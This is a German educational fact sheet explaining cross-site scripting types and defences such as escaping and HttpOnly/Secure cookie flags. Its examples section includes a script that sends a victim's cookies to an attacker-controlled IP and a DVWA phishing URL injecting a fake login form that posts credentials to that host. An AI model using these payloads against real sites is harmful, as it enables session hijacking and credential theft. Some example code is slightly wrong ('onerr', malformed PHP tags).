Merkblatt Cross-Site-Scripting

# Was ist Cross-Site-Scripting / XSS?

Beim XSS [[1]](#footnote-1)wird eine Sicherheitslücke in einer Webanwendung ausgenutzt, um Schadcode auszuführen. Besonders beliebt sind dafür Script-Sprachen, wie z.B. JavaScript. Das Ziel dabei ist es z.B. an die persönlichen Daten eines Benutzers zu kommen, um dessen Identität zu stehlen oder sein Benutzerkonto zu übernehmen. Da viele Personen dieselbe Kombination von Benutzername und Passwort für verschiedenen Dienste benutzen, kann man so mit den Informationen, welche man von schlecht geschützten Diensten erbeutet hat, die Konten anderer Dienste übernehmen, welche die Opfer verwenden.

# Wie wird es angewandt?

Beim XSS versucht man eine Webseite oder App dazu zu bringen Code auszuführen, den man einschleust. Dazu können z.B. Formularfelder oder die URL verwendet werden. Mit normalen Benutzereingaben sollte man dabei keinen Schaden anrichten können. Stattdessen muss man seine Eingaben manipulieren, dass diese im Code ausgeführt werden.

# Reflektiert / nicht persistent

Dynamische Seiten passen ihren Inhalt oft an Werte an, welche sie über ein Formular oder die URL haben. Wenn diese Werte direkt vom Server an den Browser zurückgesendet werden, ohne dass sie in der Datenbank gespeichert werden, ist der so ausgeführte Schadcode nicht persistent. Das bedeutet z.B. dass der Schadcode nur ausgeführt wird, wenn man eine ganz bestimmte URL aufruft.

Beispiel: <script>alert(1);</script>

# Beständig / persistent

Wenn man es schafft die App dazu zu bringen den Schadcode in der Datenbank zu speichern wird dieser jedes Mal ausgeführt, wenn der betroffene Inhalt geladen wird. Solche persistenten Angriffe sind z.B. bei Foren möglich, wo Benutzereingaben als Beitrag in der Datenbank abgelegt und später für andere Besucher wieder ausgegeben werden.

Beispiel: <img src="fake.png" onerr="alert(1)" />

# DOM-basiert / lokal

Bei einem lokalen Angriff ist der Webserver nicht beteiligt. Stattdessen bringt man das Opfer dazu eine kompromittierte URL aufzurufen, welche ein Script als Parameter enthält. Der Browser führt dieses Script dann aus.

Beispiel: http://www.badurl.com/index.html/?arg=<script>alert(1)</script>

# Allgemeine Schutzmassnahmen

Man sollte in jedem Fall davon ausgehen, dass Benutzereingaben "böse" sind. Somit ist es notwendig alle Eingaben zu prüfen und diese mit Maskierungszeichen zu escapen. Diese [Maskierungszeichen](https://de.wikipedia.org/wiki/Metazeichen) (z.B. \)werden verwendet, um zu verhindern, dass das nachfolgende [Funktioniszeichen](https://de.wikipedia.org/wiki/Metazeichen) (z.B. ' oder ") vom Code als solches betrachtet wird. Ein bekanntes Beispiel sind Anführungszeichen ("), welche mit einem Backslash (\) maskiert werden, wenn sie in einem PHP echo tatsächliche ausgegeben werden sollen und nicht den Text umschliessen, der ausgegeben werden soll.

<?php > echo "Das hier ist ein Anführungszeichen: \"." </?php>

Mit dem (roten) Backslash als Maskierungszeichen wird der folgende Text ausgegeben:

Das hier ist ein Anführungszeichen: ".

PHP z.B. stellt spetzielle Methoden zur Verfügung, mit denen man die Benutzereingaben prüfen und anpassen kann. Ein Beispiel dafür ist die htmlspecialchars() Methode.

Eine weitere Massnahme ist es Metazeichen in Zeichenreferenzen umzuwandeln. Dabei werden Sonderzeichen, wie z.B. ä, ö, ü, & oder andere als HTML Referenz gespeichert, welche so aussehen: &auml;, &ouml;, &uuml;, &amp;

# Beispiele[[2]](#footnote-2)

## Session Highjacking

Wenn ein Session Cookie keine HTTPOnly Flag enthält kann ein Script auf das Cookie zugreifen. Der folgende Code sendet einen HTTP Request an die angegebene IP-Adresse, wo man das Cookie dann aus der übertragenen URL auslesen kann:

<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;</script>

### Schutzmassnahmen[[3]](#footnote-3)

Mit einem HTTPOnly Flag wird verhindert, dass Cookies von Scripts ausgelesen werden können:

Set-Cookie: CookieName=Wert; path=/; HttpOnly

Mit dem Secure Flag kann man zudem festlegen, dass das Cookie nur über sichere HTTPS Verbindungen gesendet wird:

Set-Cookie: CookieName=Wert; path=/; HttpOnly; secure

## Phishing

Mit einer manipulierten URL kann man dem Opfer auch ein Formular anzeigen, in der Hoffnung, dass es dort seine Zugangsdaten eingibt:

http://localhost:81/DVWA/vulnerabilities/xss\_r/?name=<h3>Please login to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>

Wenn das klappt kann man sich danach einfach mit den Zugangsdaten bei dem Dienst anmelden.

### Schutzmassnahmen

Gegen solche Angriffe kann man sich nicht wirklich schützen. Aber man kann lernen nicht darauf hereinzufallen, in dem man darauf achtet, wo man seine Zugangsdaten eingibt und bei E-Mails prinzipiell etwas misstrausch ist. Es gibt dazu auch "Checklisten", an die man sich halten kann, z.B. [diese](https://www.bsi-fuer-buerger.de/BSIFB/DE/Risiken/SpamPhishingCo/Phishing/Schutzmassnamen/schutzmassnamen_node.html) oder [diese](https://www.konsumentenschutz.ch/wie-kann-man-sich-vor-phishing-schuetzen/?gclid=Cj0KCQiAq97uBRCwARIsADTziyYs7o9EwkR_YbyBJZRSYHOeoC6OjvO2wkZumzK1Z6ZVnwsKT5_sf_gaAgEKEALw_wcB).

# Quellen

Wikipedia: <https://de.wikipedia.org/wiki/Cross-Site-Scripting>

Beispielangriffe: <https://pentest-tools.com/blog/xss-attacks-practical-scenarios/>

Sichere Cookies: <https://wiki.selfhtml.org/wiki/Grundlagen/sichere_Cookies>

Checkliste gegen Phishing 1: <https://www.bsi-fuer-buerger.de/BSIFB/DE/Risiken/SpamPhishingCo/Phishing/Schutzmassnamen/schutzmassnamen_node.html>

Checkliste gegen Phishing 2: <https://www.konsumentenschutz.ch/wie-kann-man-sich-vor-phishing-schuetzen/?gclid=Cj0KCQiAq97uBRCwARIsADTziyYs7o9EwkR_YbyBJZRSYHOeoC6OjvO2wkZumzK1Z6ZVnwsKT5_sf_gaAgEKEALw_wcB>

1. <https://de.wikipedia.org/wiki/Cross-Site-Scripting> [↑](#footnote-ref-1)
2. <https://pentest-tools.com/blog/xss-attacks-practical-scenarios/> [↑](#footnote-ref-2)
3. <https://wiki.selfhtml.org/wiki/Grundlagen/sichere_Cookies> [↑](#footnote-ref-3)